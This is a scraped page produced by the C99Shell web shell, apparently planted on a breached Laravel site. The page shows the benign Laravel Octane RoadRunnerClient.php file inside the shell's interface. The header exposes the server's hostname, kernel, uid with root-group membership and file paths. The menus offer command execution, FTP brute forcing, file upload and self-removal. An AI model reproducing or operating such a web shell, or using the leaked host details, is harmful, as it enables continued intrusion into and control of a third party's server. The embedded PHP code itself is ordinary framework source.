!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.sms.picotech.app/public_html/vendor/laravel/octane/src/RoadRunner/   drwxr-xr-x
Free 25.33 GB of 117.98 GB (21.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RoadRunnerClient.php (3.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Octane\RoadRunner;

use 
Generator;
use 
Illuminate\Foundation\Application;
use 
Illuminate\Http\Request;
use 
Laravel\Octane\Contracts\Client;
use 
Laravel\Octane\Contracts\StoppableClient;
use 
Laravel\Octane\MarshalsPsr7RequestsAndResponses;
use 
Laravel\Octane\Octane;
use 
Laravel\Octane\OctaneResponse;
use 
Laravel\Octane\RequestContext;
use 
ReflectionFunction;
use 
Spiral\RoadRunner\Http\PSR7Worker;
use 
Symfony\Component\HttpFoundation\BinaryFileResponse;
use 
Symfony\Component\HttpFoundation\StreamedResponse;
use 
Throwable;

class 
RoadRunnerClient implements ClientStoppableClient
{
    use 
MarshalsPsr7RequestsAndResponses;

    public function 
__construct(protected PSR7Worker $client)
    {
    }

    
/**
     * Marshal the given request context into an Illuminate request.
     */
    
public function marshalRequest(RequestContext $context): array
    {
        return [
            
$this->toHttpFoundationRequest($context->psr7Request),
            
$context,
        ];
    }

    
/**
     * Send the response to the server.
     */
    
public function respond(RequestContext $contextOctaneResponse $octaneResponse): void
    
{
        if (
$octaneResponse->outputBuffer &&
            ! 
$octaneResponse->response instanceof StreamedResponse &&
            ! 
$octaneResponse->response instanceof BinaryFileResponse) {
            
$octaneResponse->response->setContent(
                
$octaneResponse->outputBuffer.$octaneResponse->response->getContent()
            );
        }

        if ((
$octaneResponse->response instanceof StreamedResponse) &&
            ! 
is_null($responseCallback = static::resolveStreamResponseCallback($octaneResponse->response))) {
            
$this->client->getHttpWorker()->respond(
                
$octaneResponse->response->getStatusCode(),
                
$responseCallback(),
                
$this->toPsr7Response($octaneResponse->response)->getHeaders(),
            );

            return;
        }

        
$this->client->respond($this->toPsr7Response($octaneResponse->response));
    }

    
/**
     * Resolve the stream response callback from the given response.
     *
     * @param  \Symfony\Component\HttpFoundation\StreamedResponse  $response
     * @return \Closure|null
     */
    
public static function resolveStreamResponseCallback(StreamedResponse $response)
    {
        if (
is_null($responseCallback $response->getCallback())) {
            return 
null;
        }

        
$reflection = new ReflectionFunction($responseCallback);

        if (
$reflection->hasReturnType() === true &&
            
in_array($reflection->getReturnType()?->getName(), [Generator::class, 'string'])) {
            return 
$responseCallback;
        }

        return 
null;
    }

    
/**
     * Send an error message to the server.
     */
    
public function error(Throwable $eApplication $appRequest $requestRequestContext $context): void
    
{
        
$this->client->getWorker()->error(Octane::formatExceptionForClient(
            
$e,
            
$app->make('config')->get('app.debug')
        ));
    }

    
/**
     * Stop the underlying server / worker.
     */
    
public function stop(): void
    
{
        
$this->client->getWorker()->stop();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--